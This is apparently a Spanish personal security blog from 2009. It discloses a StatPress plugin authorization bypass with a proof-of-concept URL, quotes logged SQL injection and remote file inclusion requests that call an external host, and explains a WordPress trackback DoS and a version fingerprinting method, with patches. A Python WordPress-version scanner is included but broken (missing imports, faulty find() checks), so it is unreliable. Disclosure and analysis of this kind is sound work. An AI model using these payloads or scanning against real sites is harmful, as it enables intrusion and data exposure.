11 de diciembre de 2009

Salto de resticciones en Statpress

Recientemente he descubierto un fallo en el plugins de wordpress 'statpress'.

El error es causado por el modo en le que este plugin realiza la acción de exportar. El manejador no comprueba correctamente los permisos del usuario que llama ha esta acción. Esto permitiría a un atacante no autenticado obtener los datos de las estadisticas.

Dado el comportamiento del manejador, la acción de exportar se realiza durante la importación del plugin; dado que statpress realiza el las estadisticas durante la etapa de 'wp-head' esta acción no queda reflejada en las estadisticas.

El fallo se soluciona creando una acción en la etapa de 'init' de Wordpress (antes de enviar las cabeceras) haciendo que se llame a un evento apropiad.

Este error no se puede explotar si el plugins no esta activo.

Prueba de concepto

site.com?statpress_action=exportnow&from=FECHA&to=FECHA&del=SEPARADOR

Parche sugerido:

add_action('init', 'iri_checkExport');
function iri_checkExport(){
if ($_GET['statpress_action'] == 'exportnow') {
$mincap=get_option('statpress_mincap');
if ($mincap == '')
$mincap = "level_8";
if ( current_user_can( $mincap ) )
iriStatPressExportNow();
}
}

TIMELINE:
04-12-2009: Descubierta
06-12-2009: Creda posible solución
11-12-2009: Notificado
12-12-2009: Recibido comunicado de que lo solucionarán
13-12-2009: Se inserta el fix pero no se borra el error, Notificado
18-12-2009: Solución final publica

2 de diciembre de 2009

Primeros ataques, siguiendo el rastro

He estado haciendo una revisión de los log del sistema y he encontrado unos que he recibido unos cuantos ataques.

A continución he realizado una pequeña investigación sobre los incidentes.

Los ataques que he detectado han sido de dos tipos.


  • Inyecciones SQL:


    El día 2009/10/18 a las 21:14:52 desde 209.208.106.XXX (EEUU)
    Petición: "?m=1+order+by+87652--&hello="
    User-Agent: DataCha0s/2.0
    En la petición podemos ver como se intenta modificar la petición SQL realizando una ordenación, el parámetro hello es una incógnita para mi, pero se iguala a el valor NULL.
    Si usamos un Whois podremos ver que esta IP pertenece a un servidor.

    El día 2009/11/04 a las 00:39:44 desde 128.59.66.XXX (EEUU)
    Petición: "p=1+order+by+100--&jhfas="
    User-Agent: DataCha0s/2.0
    Este es un ataque similar, que se realiza desde una IP de la universidad de columbia en EEUU.


  • Remote File Inclusion:


    El día 2009/11/21 a las 17:09:46 y 17:09:48 y el día 2009/11/25 a las 08:45:04 y 08:45:05 desde 213.180.89.XX (Suecia)
    Petición: "p=http://www.xxxxxxx.hu//img/lightbox/id.txt???"
    User-Agent: libwww-perl/5.79
    Este es un intento de incluir y ejecutar en mi servidor el código que se encuentra en el sitio vulnerado. El ataque partió desde un servidor multidominio.

    El día 2009/11/24 a las 23:40:31 y 23:40:33 desde 80.249.173.XXX (Hungría)
    Petición: "p=http://www.xxxxxxx.hu//img/lightbox/id.txt???"
    User-Agent: libwww-perl/5.805
    Similar al anterior desde otra IP. También es desde una IP de un servidor.


Con los datos obtenidos de la IP he podido saber su ubicación general, esta información de posicionamiento es un tanto mala con lo que solo he decidido poner el país ya que poner más seria errar en la ubicación casi con toda seguridad. Dado que son servidores y que por tanto no pertenecen a un ISP "normal" de internet, tendríamos que rastrear en los log de los servidores para saber como partió la petición hacia nuestro servidor, que seguramente fuera un bot en el equipo.

En el caso de haber sido usado como proxy tendríamos que buscar a quien estaba "bypasseando" y preguntar a su ISP, si estuvieran varios proxys en cascada esta labor puede ser casi imposible, ya que si en algún sistema no hubiera los suficientes log el rastro se habría perdido.

Con estos datos obtenidos es fácil ver que el User-Agent son peculiares. En el caso de los SQL inyection y genérico de la librería de perl en los otros casos. Esto nos hace pensar que el ataque ha sido realizado de forma automática.

No creo que haga falta decir que estos ataques no han hecho nada ya que Wordpress no tiene este problema de seguridad.

Tras este pequeño altercado he pensado desarrollar un pequeño plugin para Wordpress que cuando reciba una petición obtenga el User-Agent y si es reconocido como un posible atacante de un 404 y no procese nada.

Más información:
http://www.user-agents.org/allagents.xml

29 de noviembre de 2009

Script para obtener versión de WP

Haciendo uso de lo explicado en el articulo "Saca la versión de Wordpress gracias a Gears" he decidido crear un pequeño script en Python que nos diga la versión de WP que se está usando.


La manera más simple para obtener este dato de la versión es buscar el valor del campo "generator" en los metadatos del sitio:


<meta name="generator" content="WordPress 2.8.6" />

Dependiendo del tema que tengamos este dato de meta puede o no estar.


'''
@copyright: GPL v.3
@author: ehooo
@contact: <vvillahoz|at|malwareint|dot|com>
'''

from HTMLParser import HTMLParser
from httplib import HTTPException
import httplib, os, string

class ParseMetaGen(HTMLParser):
'''
Parser para obtener el metadato "generator"
'''

def __init__(self):
HTMLParser.__init__(self)
self.generator = False

def handle_startendtag(self, tag, attrs):
if tag == 'meta':
if len(attrs) == 2 and attrs[0][0] == 'name' and attrs[0][1] == 'generator':
self.generator = attrs[1][1]

def error(msg=""):
print "ERROR"+str(msg)
exit(1)

if __name__ == '__main__':
site = None

try:
opts, args = getopt.getopt(sys.argv[1:], "s", ["site="])
except getopt.error, msg:
print msg
error(": Use -s URL or --site=URL")

for o, a in opts:
if o in ("-s","--site"):
site = string.replace(a,"http://","")
else:
error(": Unhandled Option")

if site is not None:
path = site.find("/")
if path != -1:
host = site[:path]
path = site[path:]
else:
path = "/"
headers = {"Host": host, "Accept": "*/*", "User-Agent":"Spider/WP-version"}

try:
conn = httplib.HTTPConnection(host)
conn.request("GET", path, headers=headers)
respuesta = conn.getresponse()
if respuesta.status == httplib.OK:
pmg = ParseMetaGen()
pmg.feed(respuesta.read())
version = pmg.generator
if not version:#Si no obtenemos el generador buscamos en el Gears
conn.request("GET", path+"/wp-admin/gears-manifest.php", headers=headers)
respuesta = conn.getresponse()
if respuesta.status == httplib.OK:
data = respuesta.read()
if data.find("ae52efa2f066ffc235840dc615f051d7"):
version = "Wordpress 2.8.1-2.8.6"
elif data.find("068d0a4281fb2a342ba6fd73b6b93982"):
version = "Wordpress 2.8.0"
elif data.find("thickbox.js?ver=3.1-20080430"):
version = "Wordpress 2.7.0"
elif data.find("thickbox.js?ver=3.1-20090123"):
version = "Wordpress 2.7.1"
elif data.find("_20080710a"):
version = "Wordpress 2.6.0"
elif data.find("wp-admin.css?ver=2.6.1"):
version = "Wordpress 2.6.1"
elif data.find("wp-admin.css?ver=2.6.2"):
version = "Wordpress 2.6.2"
elif data.find("wp-admin.css?ver=2.6.3"):
version = "Wordpress 2.6.3"
elif data.find("wp-admin.css?ver=2.6.4"):
version = "Wordpress 2.6.4"
elif data.find("wp-admin.css?ver=2.6.5"):
version = "Wordpress 2.6.5"
else:
version = "Not Found"
elif respuesta.status == httplib.NOT_FOUND:
print "Gears Not Supported"
print "Version: "+version
except HTTPException:
error('Conection probles')
else:
error()

Para evitar que nuestro wordpress muestre la versión en los metadatos de nuestro sitio, podemos crear un simple plugin que nos eliminará este metadato, o añadir la siguiente linea a un plugin cualquiera.


remove_action('wp_head', 'wp_generator');

23 de noviembre de 2009

Vulnerabilidades de PHP 5

Han sido solucionados cinco errores de seguridad la nueva versión de PHP.

El primero de los errores es causado por que PHP no limitar el número
máximo de subida de archivos por cada solicitud. Esto podría ser
aprovechado para causar una denegación de servicio a través de una
petición especialmente manipulada.
La medida tomada para solucionar esto ha sido añadir la directiva
'max_file_uploads', esta nueva directiva permite configurar el número de
archivos que se pueden por petición.

Han sido solucionados múltiples errores en distintas funciones de
'exif.c'. Esto podría ser aprovechado por un atacante remoto para causar múltiples impactos no especificados. La extensiones exif son usadas para la generación y procesado de imagenes.

Existe un error de salto de restricciones de safe_mode en la función
'tempnam'. Esto es causado a que no se comprueba las restricciones de
'safe_mode' y escribir ficheros arbitrarios.

Existe un error de salto de restricciones en la función 'posix_mkfifo'.
Esto podría ser aprovechado por un atacante local para escribir ficheros
arbitrarios.

El ultimo error es otra falta de comprobación de
'safe_mode_include_dir'. Este error se encuentra en la función
'php_plain_files_stream_opener' y podría ser usado para saltar
restricciones o causar una denegación de servicio.

Referencias:

Changelog:
http://www.php.net/ChangeLog-5.php#5.3.1

Diff del error de exif:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/exif/exif.c?r1=282034&r2=287372&pathrev=288943

Diff del error de tempnam:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/standard/file.c?r1=288705&r2=288945

Diff del error de posix:
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/posix/posix.c?r1=288943&r2=288942&pathrev=288943

Diff del error de safe_mode_include_dir:
http://bugs.php.net/bug.php?id=50063
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3_1/main/streams/plain_wrapper.c?r1=290578&r2=290577&pathrev=290578

19 de noviembre de 2009

Como saber quien esta detras de una IP

Recientemente he observado desde las estadisticas que un usuario que accedió a esta web buscaba lo siguiente en google: "conociendo una direccion IP puedo saber quien me robo contraseña".

Me ha parecido una pregunta típica que se hace la gente que está empezando en esto de saber sobre como de anónima es la navegación por internet.

Dado que una IP es el identificador de un usuario de internet, es necesario que sea única y por tanto dada una IP se puede saber donde está situada esta. Además las IPs tienen propietarios y estos datos son públicos.

Para poder obtener la máxima información posible vamos a utilizar unas cuantas herratas publicas en internet. Yo he escogido estas dos webs, "dnstools" y "you get signal", porque con ambas podemos obtener bastante información.

Para este ejemplo vamos a suponer una IP, por ejemplo 79.145.37.25.

En primera instancia vamos a utilizar dnstools.
Accediendo a "http://www.dnstools.com/?target=79.145.37.25" podemos ver la resolución inversa y el WHOIS de la IP.
"79.145.37.25 resolves to 25.Red-79-145-37.dynamicIP.rima-tde.net"

Viendo la resolución inversa sabemos que pertenece a la rama RIMA(Red IP Multi Acceso) de "Telefonica De España", que pertenece a un grupo de IP dinámicas. Si observamos el WHOIS podemos obtener los datos del propietario de la IP, como ya hemos dicho Telefónica.

Ahora vamos a usar "you get signal":
De esta web vamos a coger la utilidad de localizaciones de red.
http://www.yougetsignal.com/tools/network-location/?remoteAddress=79.145.37.25
Podemos ver que pertenece a Santander.

Una nota interesante de este tipo de aplicaciones. Estas no rastrean realmente la dirección IP hasta una dirección sino que tienen una lista de localidades asignadas. Por ejemplo si buscamos cualquier IP desde 79.145.37.1 hasta 79.145.38.254 marcarán la misma dirección.

En este caso dado que el acceso se ha hecho desde una IP dinámica de un ISP no podremos saber más datos, salvo que tengamos la hora desde la que se realizó el acceso, pero muy probablemente necesites algún tipo de orden judicial o denuncia para que te den el dato del usuario que en ese momento tenía asignada esa IP.

En este caso ha sido la IP de una casa, pero podría haber sido la IP de un servidor proxy anonimo, en estos casos saber quien ha sido es más complicado por las políticas de los mismos. Como mucho en los mejores casos te dará la IP de quien accedió a ellos, que podría ser el atacante u otro proxy. En ocasiones incluso puede ser una web con una aplicación que reciba los datos y los mande a un correo.

Así que espero que la persona que le robo la contraseña no usara ninguna medida de seguridad para ocultar su rastro.

18 de noviembre de 2009

Los ataques informaticos serán delito

Hace unos días, Andy Ramos blogger y podcaster de Interiuris compartió una noticia que me parece muy interesante, sobre todo para las personas que residen en España.

Antecedentes:

El código penal vigente en España data del año 1995. En este año según las estadística de google solo el 0.35% de la población accedía a intenet. Es lógico pensar por tanto, que en el ordenamiento jurídico de la época no se tuviera en cuenta los ataques informáticos como un delito, dado que eran casi inexistentes y el impacto de los mismos no eran de gran calado para la población.

De todos modos podemos encontrar alguna referencia al tema de la informática en el punto 2 del artículo 264 del código, donde dice:
"2. La misma pena se impondrá al que por cualquier medio destruya, altere, inutilice o de cualquier otro modo dañe los datos, programas o documentos electrónicos ajenos contenidos en redes, soportes o sistemas informáticos."

En 2005 la unión europea publica una "Decisión-Marco" para tipificar como delitos los ataques contra los sistemas de información. En este año ya más del 40% de los españoles accedían a internet. Y el numero de ataques a los sistemas de información cada vez era mayor.

Actualidad:
En la actualidad más de la mitad de la población española usa intenet si no es de manera habitual de manera más o menos esporádica y los delitos a través de este medio de comunicación se han incrementado de manera alarmante en estos últimos años.

Y las redes de equipos infectados cada día es mayor y más peligrosa. En ocasiones las redes zombies alcanzan números alarmantes, y algunas de ellas podrían competir perfectamente con los actuales supercomputadores.

La reforma:
La nueva reforma del código penal sigue las directrices marcadas por la "Decisión-Marco" de la UE. Por tanto incluyen como conductas punibles las consistentes en:

  • Borrar, dañar, deteriorar, alterar, suprimir o hacer inaccesibles datos o programas informáticos ajenos.

  • Obstaculizar o interrumpir el funcionamiento de un sistema de información ajeno.

  • El acceso sin autorización vulnerando las medidas de seguridad a datos o programas informáticos contenidos en un sistema informático o en parte del mismo.


Las penas por estos actos aún no han sido publicadas, pero gracias a la decisión marco podemos saber que las sanciones serán de al menos 3 años de prisión para los dos primeros puntos. En el caso del acceso sin autorización vulnerando las medidas de seguridad, las penas serán proporcionadas y disuasorias.

Inconvenientes:
En espera del texto final que articule este asunto, a mi se me vienen a la cabeza ciertos problemas para las personas que trabajan en eliminar phishing y malware en general.

Dado en con el texto que he elido no se hace referencia a los accesos no autorizados realizados con un fin no punible, como es el caso de la eliminación de un malware o un phishing, los trabajadores en empresas de hosting podrían tender ciertos problemas en caso de borrar los mismos si no han recibido expresamente la autorización por el protietario del alojamiento.

Lo que más me preocupa, teniendo en cuenta que de leyes no soy un experto, es hasta que punto una empresa podría eliminar un malware de un sitio comprado por aun hacker para infectar maquinas.

Pongamos un ejemplo de esto que he dicho para que quede más claro.

"A" compra un server dedicado a "B" donde aloja un malware. Una empresa de seguridad "C" informa a "B" de la existencia de este malware. "B" manda el archivo a VirusTotal y observa que es catalogado como virus por 31 de sus motores antivirus y decide borrarlo. "A" al ver que ha sido borrado de su server decide demandar a "B" por acceder y borrar datos sin autorización suya. "B" tiene un problema grave, ya que se enfrenta a pongamos 3 años de prisión y tendrá que demostrar que ese supuesto malware era el que se ha borrado y no un programa licito que no supone ningún problema.

El caso que he puesto podría pasar a la empresa de hosting de a Asociación de Internautas, dado que su programa "AlertVir" le pasa esto mismo y es un programa licito.

ACTUALIZACIÓN:
En el apartado "antecedentes" se ha añadido la referencia al art. 264 (Gracias Andy)

Otras referencias:
Iurismatica
Reforma del código penal

15 de noviembre de 2009

Wordpress soluciona errores de XSS y de salto de restricciones

Reciente mente ha sido publicado en la Una Al Día de Hispasec sistemas la existencia de dos vulnerabilidades en Wordpress.

El texto dice lo siguiente:
---
Se han solucionado dos errores en Wordpress que podrían ser aprovechados por usuarios autenticados para eludir restricciones o subir ficheros al servidor.

WordPress es un sistema de gestión de blogs, que opera en lenguaje PHP y con soporte de base de datos MySQL. Ofrecido a la comunidad bajo
licencia GPL, WordPress es uno de los gestores de blogs más extendido en la blogosfera.

El primero de los errores solucionados es un problema de cross site scripting en el fichero "press-this.php". Este error está causado por no filtrar correctamente las variables usadas para el título y la sección.

El otro fallo corregido permite eludir restricciones y subir al servidor de Wordpress ficheros con doble extensión. El atacante solo tendría que visitarlos posteriormente para que se ejecutasen y obtener un mayor o menor control del servidor dependiendo de los permisos obtenidos. Se ha solucionado modificando la función "sanitize_file_name" para que escriba "_" si encuentra múltiples extensiones y alguna no está soportada.
---
FUENTE: UAD HISPASEC Sistemas

7 de noviembre de 2009

Busquedas optimizadas con Google y Bing

Hoy en día dada la gran cantidad de información que existe en Internet es indispensable tener mecanismos que nos faciliten la búsqueda de información en la web.
En la actualidad existen gran cantidad de buscadores, que nos ayudan en esta labor; pero sin duda dos de los más potentes en la actualidad son Google y Bing.


Estos buscadores contienen una serie de palabras reservada que se pueden usar para realizar búsquedas más precisas. Según el buscador que usemos soportará unas u otras palabras.



  • (G) allinanchor:WORDS
    Busca paginas con un enlace que contenga todas esas palabras.

  • (G) allintext:WORDS
    Busca paginas que contenga todas esas palabras.

  • (G) allintitle:WORDS
    Busca paginas cuyo titulo(<title>) contenga todas esas palabras.

  • (G) allinurl:WORDS
    Busca paginas cuya url contenga todas esas palabras.

  • (G) cache:URL
    Muestra todos los datos de la cache de google sobre una url.

  • (B) contains:FILE_TYPE
    Muestra las paginas con un enlace que contenga el tipo de fichero especificado.

  • (G) define:WORD
    Busca una pagina donde aparezca el significado de la palabra.

  • (G, B) filetype:FILE_TYPE
    Muestra todos los ficheros del tipo indicado

  • (G, B) inanchor:WORD
    Busca paginas con un enlace que contenga esa palabra.

  • (B) inbody:WORD / (G) intext:WORD
    Busca paginas que contengan esa palabra en el texto.

  • (G) id / info:URL
    Muestra información sobre la url indicada.

  • (G, B) intitle:WORD
    Busca paginas cuyo titulo(<title>) contengan esa palabra.

  • (G) inurl:WORD
    Busca paginas cuya url contenga esa palabra.

  • (B) ip:IP
    Busca paginas cuya ip sea la indicada.

  • (B) language:CODE
    Busca paginas cuyo idioma sea el indicado.

  • (B) loc / location:CODE
    Busca paginas alojadas en la región indicada.

  • (G) link:URL
    Busca paginas que contengan un enlace a la url.

  • (G) phonebook:PERSONA
    Busca todos los datos sobre la persona indicada

  • (B) prefer:WORD
    Busca con más prioridad este termino

  • (G) related:URL
    Busca paginas relacionadas con la url indicada.

  • (G, B) site:URL
    Busca en la url indicada.

  • (B) feed:WORD
    Busca sistemas de suscripción RSS o Atom relacionados con la palabra.

  • (B) hasfeed:WORD
    Busca una pagina donde se encuentra un enlace a una suscripción RSS o Atom relacionada con la palabra.

  • (B) url:URL
    Muestra si está indexada la url.


Nótese que allintitle y intitle son iguales salvo porque allintitle soporta múltiples palabras.


Además de las palabras reservada existen ciertos caracteres que nos permiten mejorar la búsqueda.



  • (G, B) +
    Búsqueda de la palabra exacta.

  • (G, B) " "
    Búsqueda exacta de la frase.

  • (B) ()
    Agrupa.

  • (G, B) AND / &
    Concatena búsquedas.

  • (G, B) NOT/ -
    Excluye términos.

  • (G, B) OR / |
    Una u otra palabra.

  • (G) ~
    Busca también las palabras similares.

  • (G) *
    Comodín usado para sustituir por palabras.


Como se puede observar existen muchas más palabras en Google que en Bing, lo que hace que este buscador sea usado en gran cantidad de ocasiones para buscar vulnerabilidades.


Referencias:
Palabras reservadas de Bing
Busqueda avanzada en Bing
Google guide
Soporte google
Información basica de busqueda en Google

5 de noviembre de 2009

ETW - European Technology Watch

He recibido la info de que se está haciendo unas series de encuestas de caracter europeo para recoger ideas para mejorar las seguridad en las comunicaciones.

¿Que es ETW?
Son las siglas de European Technology Watch (ETW) y es un observatorio orientado a las necesidades y tecnologías emergentes en Seguridad en la UE.

Este ETW forma parte de las actividades que se desarrollan en el proyecto STRAW (Security Technology Active Watch). Sus resultados contribuirán a la definición de la futura Agenda Europea de Seguridad.

El objetivo de STRAW es prestar un servicio de vigilancia tecnológica en el área de la seguridad mediante el cuál todas las categorías de actores (investigadores, proveedores y usuarios) se beneficiarán mutuamente a través del intercambio de necesidades y experiencias.

¿Como colaborar?
Hay que cumplimentar un cuestionario de acuerdo con tu participación en el sector de la Seguridad (investigador, proveedor de tecnología o usuario). En cumplimentar el cuestionario se tarda no más de 20 minutos, dependiendo del nivel de detalles que decidas proporcionar.

En caso de que decidas participar, tienes que regístrate en el sitio web, http://www.straw-project.eu/content/straw-technology-watch, como paso previo a rellenar el cuestionario.

¿Porque registrarse?
Registrarse tiene como valor añadido poder acceder a los resultados del ETW en el campo de la seguridad y formar parte de la red de STRAW, que incluirá actores de todos los países de la UE.

¿Pegas?
El cuertionario es bastante tecnico y está en ingles.
En el registro te piden datos de organización aun que seas usuario.

2 de noviembre de 2009

HTML5 el nuevo estándar de Internet

HTML5 es el nuevo estándar del W3C para la web. Este estándar está pensado para la web 2.0 o web semántica, como queráis llamarla.

HTML5 está todavía en versión de pruebas, pero ya podemos ver ejemplos de como funciona en sitios como Youtube (http://www.youtube.com/html5). Cabe destacar que a la par de HTML5 se está desarrollando XHTML5 que aúna XHTML1.1 y HTML5.

-Eliminado en HTML5

  • Tags de estilo:
    HTML5 elimina ciertas etiquetas típicas de estilo dado que ya no son necesarias al establecer el estándar de estilo CSS como son: <center>, <font>, <s>, <strike>, <tt>, <big>, <basefont> y <u>)

  • Tags dobles:
    Se eliminan ciertas etiquetas duplicadas en las versiones anteriores como: <acronym>, <xmp> y <dir>

  • Tags para frames:
    Adios a los viejos frames como: <noframes>, <frameset> y <frame>

  • Tags especificos:
    Sustituye la etiqueta <applet> usada para insertar applets de java por la generica <object>.


-Lo nuevo en HTML5
HTML5 añade nuevas etiquetas pensadas principalmente el mundo del bloging y la web 2.0 como <article>, <time> o <details> entre otros; pero donde más destaca es en lo referido a multimedia con nuevas etiquetas como <audio>, <canvas>, <embed> o <video> entre otros.
También añade nuevos parámetros como "draggable", "contenteditable" o "ref" entre otros.
Pero donde más ha cambiado el estándar es en los eventos script, 17 nuevos eventos han sido añadidos (y solo uno eliminado "onreset") que permiten por ejemplo generar eventos al mover el scroll o al producirse un error.
Quizás lo que más llamará la atención a algunos será el rediseño de la estructura básica de HTML, de este modo un código básico en HTML5 quedaría algo así:
<html>
<head>
</head>
<body>
<header><!-- Cabecera del site -->
</header>
<nav><!-- Menu de navegación -->
</nav>
<article>
<section>
</section>
</article>
<footer><!-- Pie del site -->
</footer>
</body>
<html

- Lo malo en HTML5
Desde el punto de vista de accesibilidad web se ha eliminado el parámetro "accesskey" que facilita el acceso a un punto concreto de la web mediante un acceso por rápido por teclado.

De momento pocos navegadores dan un soporte correcto a este estandar.

Referencias:

HTML5 en W3c
Protocolo HTML5

22 de octubre de 2009

Server casero

Para explicar como montar un servidor casero primero voy a esplitar unos cuantos conceptos basicos a grandes rasgos.

Dirección IP:
La dirección IP es la dirección de nuestro equipo en la red. Es como la dirección de nuestra casa. La dirección IP es una dirección numerica que nos identifica de forma unica.

IP Dinamica:
Cuando comenzó internet las ISP daban una IP fija a cada uno de sus clientes. Pasado el tiempo las ISP tenian más clientes que IPs.
Durante IP fija las ISP observaron que muchos de sus clientes no siempre estaban conectado, por tanto pensaron que cuando un cliente no estubiera conectado podrían dar esa IP a otro cliente que se fuera a conectar en ese momento. De este modo el numero de IPs que tiene un ISP es menor que el numero de clientes ya que por ejemplo con 10 IPs podrían dar servicio a 20 clientes; siempre que como maximo no estenc conectados más de 10 clientes a la vez.

Dominios:
Dado que memorizar una lista de numeros es complicado para las personas, se crearon los nombres de dominios. El nombre de dominio no es más que un texto que referencia un IP. Una misma IP puede tener distintos nombres de dominios. Para poder saver sus equivalencias se usan los servidores DNS(Domain Name Server).
Cuando queremos acceder a una web como "http://rollanwar.net" hacemos una pregunta a un servidor DNS que nos responde la dirección por ejemplo "101.121.141.161" y tras conocer su dirección realizamos la conexión.

NAT:
El nat es una tabla que se raliza cuando varios equipos van ha salir a internet con una misma IP. Consiste en asignar IPs locales a puertos externos.
Me explico, cuando A (host local) se conecta con B (host externo), A hace una petición a su router R para conectarse con B. A se conecta por el puerto 29023 al puerto 80 de B, pero R que esta en medio y es quien realiza la conexión con el exterior y puede cambiar el puerto que ve B. De este modo queda una cosa así:
- A ver: A:29023 -> B:80
- B ve: B:80 -> R:23456
Para A, R es un punto más del recorrido hasta B, pero B no conoce a A, sino que habla con el puerto 23456 de R (quien tiene la IP publica). R save que la conexión al puerto 23456 le pertenece a la IP de A y al puerto 29023 y lo que llege por ahi se lo manda.

Bueno vamos a empezar un poco a montar nuestro servidor casero.
Lo primero que necesitamos es un nombre de dominio. Para poder tener un identificador facil de recordar y que no cambie, ya que nuestra IP si que lo hace.
Existen varios servicios que nos permiten desde ir modificando la IP de nuestro dominio de forma automatica.
Si el servicio esta en el Router el router cuando cambie de IP mandará un mensaje al servidor DNS actualizando la IP.
Si el servicio esta en un pc de la red ira realizando latidos cada X tiempo para que la IP sea actualizada si cambia.
Los dos servicios gratuitos más conocidos en este respecto son: no ip y dyndns.

Una vez activo este servicio en nuestro router o host ya tenemos nuestro dominio que nos dará siempre nuestra IP aunque esta cambie.

Ahora tenemos nuestro dominio por ejemplo "http://mi-host.casero.es" que nos da la IP publica de nuestro router. Pero si intentamos acceder a el dominio este nos rechaza las conexiones. Esto es porque tenemos que configurar una tabla de nat estaticamente, de este modo todas las peticiones que se llegen a un puerto se dirigiran directamente el host donde queramos.

Resumen:

  1. Tener una cuenta en un servidor DNS dinamico.

  2. Configurar el router o pc para que modifique nuestro servidor DNS.

  3. Abrir los puertos al router para añadir parte estaticas a la tabla NAT.

19 de octubre de 2009

DoS en Wordpress via TrackBackr

¿Que es TrackBack?


TackBack es un sistema de notificación de mención, es decir, sirve para saver quien ha mencionado o escrito sobre tu post.

¿Como funciona TrackBack?


Para informar al blog de que se escribe sobre lo primero es que tiene que tener el sistema de TrackBack.

Mandaremos a una petición POST al sitio que vamos a mencionar. La patición HTTP seria algo así:
POST http://www.example.com/trackback/ID
Content-Type: application/x-www-form-urlencoded; charset=utf-8

title=Mencion+sobre+ID&url=http://www.mi-blog.com/mencion&excerpt=Mi+Entrada&blog_name=Mi+blog

Las variables del POST son:

  • url: Direccion del blog permanente de la entrada (Obligatoria)

  • title: Titulo de la entrada (Opcional)

  • except: Nombre de la entrada (Opcional)

  • blog_name: Nombre del blog (Opcional)


La variable charset se encuentra en el valor de la cabecera Content-Type, en el ejemplo utf-8

Como respuesta ha este POST obtendremos lo siguiente en caso de que todo sea correcto:
<?xml version="1.0" encoding="utf-8"?>
<response>
<error>0</error>
</response>

En caso de error:
<?xml version="1.0" encoding="utf-8"?>
<response>
<error>1</error>
<message>Mensaje de error</message>
</response>

Las variable

¿Que errores se cometen?


En el caso del ejemplo anterior basado en uno de las especificaciones en el valor de Content-Type contiene el valor de charset. En Wordpress el valor de charset es obtenido mediante $_POST['charset']. Este error puede ser poco importante si el resto de aplicaciones que se comunican con el lo hacen igual.

El error de denegación de servicio es causado al no filtrar correctamente el valor de la variable charset que es recibido.

Con el valor de este dato se llama a la función mb_convert_encoding() para cambiar el tipo de codificación a la base del datos del blog.
Si se inserta como valor de charset varias codigicaciones separadas por ',' esta llamada se convierte en una operación muy pesada. Si se realizan varias conexiones el servidor atacado se queda rapidamente sin recursos.

Parche


El parche propuesto por el descubridor:
$charset = str_replace(",", "", $_POST['charset']);
if(is_array($charset)) { exit; }

El parche que propongo yo:
if(isset($_POST['charset']))
$charset = $_POST['charset'];
if (is_array($charset))//Si es un array da error
trackback_response("charset is array");
if(strpos($charset, ",") !== false)//Si tiene una , da error
trackback_response("charset have many values");

Referencias:


Especificaciones de trackback
Prueba de concepto
Más datos sobre el DoS

14 de octubre de 2009

Conceptos basicos del sistema de archivos en Linux

Linux trata a todo como ficheros. Una carpeta, un disco duro, un USB, todo son archivos.

Carpetas básicas:


/home -> Fichero de usuario
/boot -> Donde se encuentran los ficheros de arranque.
/usr/local -> Programas de usuario y ficheros usados en los entornos gráficos
/opt -> Carpeta opcional, se usa bastante en Gentoo (para las compilaciones) y en
/var -> Donde se almacena ficheros variables como Syslog o DBs.
/dev -> Donde se encuentran los distintos dispositivos.
/etc -> Donde se encuentran los ficheros de configuración.
/etc/skel -> El contenido de esta carpeta se copia al crear un usuario nuevo
/media o /mnt -> En estas carpetas se suelen montan los dispositivos.
/proc -> En esta carpeta se representan los distintos procesos de Linux.

Tipos de permisos:


Existen tres tipos de permisos lectura, escritura y ejecución (Read-Write-eXecution) representados por "r","w" y "x" respectiva mente.
Si queremos ver los permisos de un fichero deberemos escribir "ls -l" y nos mostrar los permisos ordenados por usuario, grupo y otros.
¿pero que pasa si quiere dar a un usuario permiso, no a su grupo y a otro usuario también permiso?, pues para ello se usa las ACL (Lista de control de acceso) incluidas desde el kernel 2.6 y que se puede compilar para el kernel 2.4 .

Atributos:


Para ver los atributos de un fichero usamos el comando "lsattr"
Para cambiarlos usamos:
chattr SIGNO VALOR FICHERO

i Inmutable, no se puede hacer nada, ni borrar, ni editar, ni hacer un acceso directo, ...
c Comprime en tiempo real los fichero con este atributo
d No deja hacer backup
s Borrar todo, incluso el fichero en el sector de disco (Pone todos los bits a 0)
u Si es eliminado, sus contenidos son guardados permitiendo su recuperación

12 de octubre de 2009

Saca la versión de Wordpress gracias a Gears

Bueno, cuando estuve mirando el error del FPD observé que existía un fichero que mostraba con un contenido demasiado explicito, en un principio pesé que podía ser un fallo por el que se descubriría la versión del wordpress instalada, movido por un dato muy claro:
"version" : "ae52efa2f066ffc235840dc615f051d7"

En ese momento me mosqueo un poco y me puse a buscar. Que diablos era ese fichero con referencias a javascripts.

Resulta que es un fichero usado por Gears, antes Google Gears.

¿Que es Gears? os preguntareis algunos. Pues bien Gears es un programa diseñado en principio por Google y que posteriormente ha liberado para la comunidad. Este es el software que en el que se basa Gmail offline o GoogleDocs offline entre otros. Con estos datos el software se descarga de tu sitio la información para que puedas usarla sin conexión y luego se sincroniza con el servidor.

Pero vamos a lo interesante.

¿Como calcula la versión?


En la versión 2.8.x el calculo se realiza a partir de:
//El generador que da soporte a Gears usa estos datos
md5( $tinymce_version . $manifest_version ) //Como aparece en manifest.php
//Donde:
$tinymce_version = "3241-1141" //Para 2.8.x
//Y
$manifest_version = "20090610" //Para 2.8
$manifest_version = "20090616" //Para v2.8.1 - 2.8.4
//Por tanto:
//En v2.8 podriamos poner
echo '"version" : "068d0a4281fb2a342ba6fd73b6b93982"';
//En v2.8.1-2.8.4
echo '"version" : "ae52efa2f066ffc235840dc615f051d7"';

En las versiones 2.6.x y 2.7.x el valor de $man_version se calcula mediante unas funciones que crean un dato que parece aleatorio; pero bueno eso no es un muy importante ya que se le añade un "_DIGITOS" que nos indica la versión. Haciendo por tanto que el valor de $man_version sea poco relevante.
//En v2.7.x
$man_version = bucles_1($man_version)//Por resumir
$man_version = md5($man_version);
//Podríamos poner algo asi en v2.7.x
echo '"version" : "'."$man_version"."_20081201".'"';
//En v2.6
$man_version = bucles_2($man_version)//Por resumir
$man_version = md5($man_version);
echo '"version" : "'."$man_version"."_20080710a".'"';
//En v2.6.1 - 2.6.5
echo '"version" : "'."$man_version"."_20080810".'"';

